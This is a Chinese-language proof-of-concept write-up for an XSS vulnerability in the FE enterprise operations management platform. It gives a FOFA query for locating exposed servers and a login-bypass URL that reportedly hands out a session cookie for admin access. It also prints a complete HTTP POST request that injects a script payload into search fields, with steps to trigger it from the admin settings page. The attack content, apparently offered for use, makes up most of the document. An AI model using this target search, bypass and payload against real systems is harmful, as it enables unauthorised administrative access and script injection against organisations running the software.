飞企互联-FE企业运营管理平台XSS漏洞

漏洞简介

 飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。该系统存在xss跨站脚本漏洞

FOFA：app="飞企互联-FE企业运营管理平台"

后台XSS配合登录绕过漏洞使用

获取cookie

/loginService.fe?op=D #IP+/loginService.fe?op=D

访问后台地址

/main/main.jsp # IP+/main/main.jsp

漏洞复现

POC：

POST /main/1722223262484_995-005-000.do HTTP/1.1
Host: 
Content-Length: 976
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/main/fe.do?SYS.ID=995-005-000&A1722223227181=1722223227181
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=5CC95B911E4741A3720A86164D5F13F2
Connection: keep-alive

master_key=&FE_VERSION=0&SYS.ACTION=one&BEFORE_SYS_ACTION=one&currentDateParam=2024-07-29+11%3A21%3A02&mediaStyle=1&WEB_MEDIA_SERVER=%2Fmeida%2FOfficeServer.jsp&faceID=405&SysTableName=.FE_BASE5.SYS_USERS&SYS_SUBFLOW_GUID=&searchType=&searchKey=%22%3E%3CScRiPt%3Ealert%281%29%3C%2FScRiPt%3E&query_string=&searchKeyvalue=%22%3E%3CScRiPt%3Ealert%281%29%3C%2FScRiPt%3E&SU01=system&SU02=%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86%E5%91%98&SU03=%E7%BB%8D%E5%85%B4%E6%9F%AF%E6%A1%A5%E5%8B%A4%E4%B8%9A%E7%BD%AE%E5%9C%B0%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&SU08=1&orderby=&desc=asc&TABLE_LIST_PAGE=FE_BASE5_SYS_USERS&FE_BASE5_SYS_USERS_ROWS=0&sys_filter=%2528su31%253D%25272%2527%2Band%2Bsu01%253C%253E%2527admin%2527%2529&size=25&current=1&displayList=1%2C1%2C1%2C1&fieldList=SU01%2CSU02%2CSU03%2CSU08&fieldNameList=%E7%99%BB%E5%BD%95%E5%90%8D%E7%A7%B0%2C%E7%94%A8%E6%88%B7%E6%8F%8F%E8%BF%B0%2C%E5%85%B3%E8%81%94%E5%8D%95%E4%BD%8D%2C%E5%90%AF%E7%94%A8&displayListNew=&_MASTERSTAMP=AA%3D%3D

首页 点击管理员设置

插入Payload

"><ScRiPt>alert(1)</ScRiPt>

 成功弹窗